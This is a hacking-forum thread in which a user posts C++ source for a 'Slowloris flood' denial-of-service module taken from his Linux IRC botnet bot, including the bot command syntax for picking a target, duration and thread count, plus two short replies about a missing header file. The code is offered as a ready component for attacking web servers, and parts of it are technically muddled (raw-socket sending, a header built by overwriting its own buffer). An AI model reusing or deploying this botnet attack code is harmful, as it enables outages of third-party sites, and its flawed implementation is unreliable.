[C++ Source]: Slowloris Attack
o MasterKush o
Banned
Banned

Status:
Offline

Posts:
273

Threads:
13

Joined:
Jul 2013

Trade Count:
0
  
0


Credits:

Likes received:



#1
[C++ Source]: Slowloris Attack
Here's a snippet of my code from the linux bot I coded about a month ago. This may come in handy to you guys.

Slowloris.cpp
Code:
#include "shared.h"

/*********************************************************************/
/* Slowloris Flood v1.0                                              */
/*                                                                   */
/* Coded by: MasterKush                                              */
/*********************************************************************/

// Slowloris Command.
// Command Usage: @slow [target] [method (EX: POST or GET)] [page] [time] [forks]

bool bSlow_StopFlood = false;
    
char * Slowloris_Header(const char *lpszHost, const char *lpszPage, int iMethod)
{
    char *lpHeader = (char *)MemoryAlloc(strlen(lpszHost) + strlen(lpszPage) + 150);
    if (!lpHeader)
    {
        return NULL;
    }
    
    switch (iMethod)
    {
    case METHOD_POST:
        sprintf(lpHeader, "POST");
        break;
    case METHOD_GET:
        sprintf(lpHeader, "GET");
        break;
    default:
        sprintf(lpHeader, "GET");
        break;
    }

    sprintf(lpHeader, "%s %s HTTP/1.1\r\n"
                      "Host: %s\r\n"
                      "User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:2.0b7) Gecko/20100101 Firefox/4.0b7\r\n"
                      "Content-length: 42\r\n\r\n", lpHeader, lpszPage, lpszHost);
                      
    return lpHeader;
}

void * Slowloris_Fork_Thread(void *lpvParam)
{
    SLOWLORIS_S m_Slowloris = *((SLOWLORIS_S *)lpvParam);
    
    int iSlowloris_Sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
    if (iSlowloris_Sock < 0)
    {
#ifdef DEBUG
        printf("Error: Unable To Create TCP Socket For Flood\n");
#endif
        return 0;
    }

    unsigned long uiTarget = ResolveDomain(m_Slowloris.lpTarget);
    if (!uiTarget)
    {
#ifdef DEBUG
        printf("Error: Unable To Resolve Target's IP Address\n");
#endif
        close(iSlowloris_Sock);
        
        return 0;
    }
    
    struct sockaddr_in s_in;
    
    s_in.sin_family = AF_INET;
    s_in.sin_addr.s_addr = uiTarget;
    s_in.sin_port = htons(80);
    
    int max_time = time(NULL) + m_Slowloris.iTime;

    while (time(NULL) < max_time && !m_Database.bIsShutdown && !bSlow_StopFlood)
    {        
        sendto(iSlowloris_Sock, m_Slowloris.lpHeader, strlen(m_Slowloris.lpHeader), 0, (struct sockaddr *)&s_in, sizeof(s_in));
    }
    
    close(iSlowloris_Sock);
    
    return 0;
}

void * Slowloris_Thread(void *lpvParam)
{
    SLOWLORIS_S m_Slowloris = *((SLOWLORIS_S *)lpvParam);

    m_Slowloris.lpHeader = Slowloris_Header(m_Slowloris.lpTarget, m_Slowloris.lpPage, m_Slowloris.iMethod);
    if (!m_Slowloris.lpHeader)
    {
#ifdef DEBUG
        printf("Error: Unable To Generate Slowloris Header\n");
#endif
        return 0;
    }
    
    pthread_t hForks[50];

    IRC_Privmsg(m_Slowloris.lpChannel, m_Group.lpSlowloris, "Attacking: %s, For: %i Seconds, Using: %i Forks", m_Slowloris.lpTarget, m_Slowloris.iTime, m_Slowloris.iForks);
    
    for (int i = 0; i < m_Slowloris.iForks; i++)
    {
        pthread_create(&hForks[i], NULL, &Slowloris_Fork_Thread, &m_Slowloris);
    }
    
    for (int x = 0; x < m_Slowloris.iForks; x++)
    {
        pthread_join(hForks[x], NULL);
    }
    
    IRC_Privmsg(m_Slowloris.lpChannel, m_Group.lpSlowloris, "Finished Attacking: %s", m_Slowloris.lpTarget);

    MemoryFree(m_Slowloris.lpHeader);
    
    return 0;
}

Slowloris.h
Code:
#ifndef __SLOWLORIS_H__
#define __SLOWLORIS_H__

/*********************************************************************/
/* Slowloris Flood v1.0                                              */
/*                                                                   */
/* Coded by: MasterKush                                              */
/*********************************************************************/

// Slowloris Command.
// Command Usage: @slow [target] [method (EX: POST or GET)] [page] [time] [forks]

typedef struct SLOWLORIS_S
{
    char lpChannel[MAX_PATH];
    char lpTarget[MAX_TARGET_LENGTH];
    char lpPage[MAX_TARGET_LENGTH];
    char *lpHeader;
    int iMethod;
    int iTime;
    int iForks;
} SLOWLORIS_S;

extern bool bSlow_StopFlood;

void * Slowloris_Thread(void *lpvParam);

#endif
08-14-2013, 04:04 PM
Find   Reply
CardTrickGen
Your a BozZz ? then eat Bacon!
Banned

Status:
Offline

Posts:
406

Threads:
45

Joined:
Aug 2013

Trade Count:
0
  
0


Credits:

Likes received:



#2
[C++ Source]: Slowloris Attack
nice work masterkush... but the "shared.h" include code is missing...
09-04-2013, 09:08 AM
Find   Reply
o MasterKush o
Banned
Banned

Status:
Offline

Posts:
273

Threads:
13

Joined:
Jul 2013

Trade Count:
0
  
0


Credits:

Likes received:



#3
RE: [C++ Source]: Slowloris Attack
(09-04-2013, 09:08 AM)CardTrickGen Wrote: nice work masterkush... but the "shared.h" include code is missing...

Thats because this came from my bot which shares 1 includes file. Libraries aren't hard to add.
09-04-2013, 01:58 PM
Find   Reply
CardTrickGen
Your a BozZz ? then eat Bacon!
Banned

Status:
Offline

Posts:
406

Threads:
45

Joined:
Aug 2013

Trade Count:
0
  
0


Credits:

Likes received:



#4
[C++ Source]: Slowloris Attack
okay just checking since i thought you forgot somehow to add the code in the thread off it
09-04-2013, 04:55 PM
Find   Reply




Users browsing this thread: 1 Guest(s)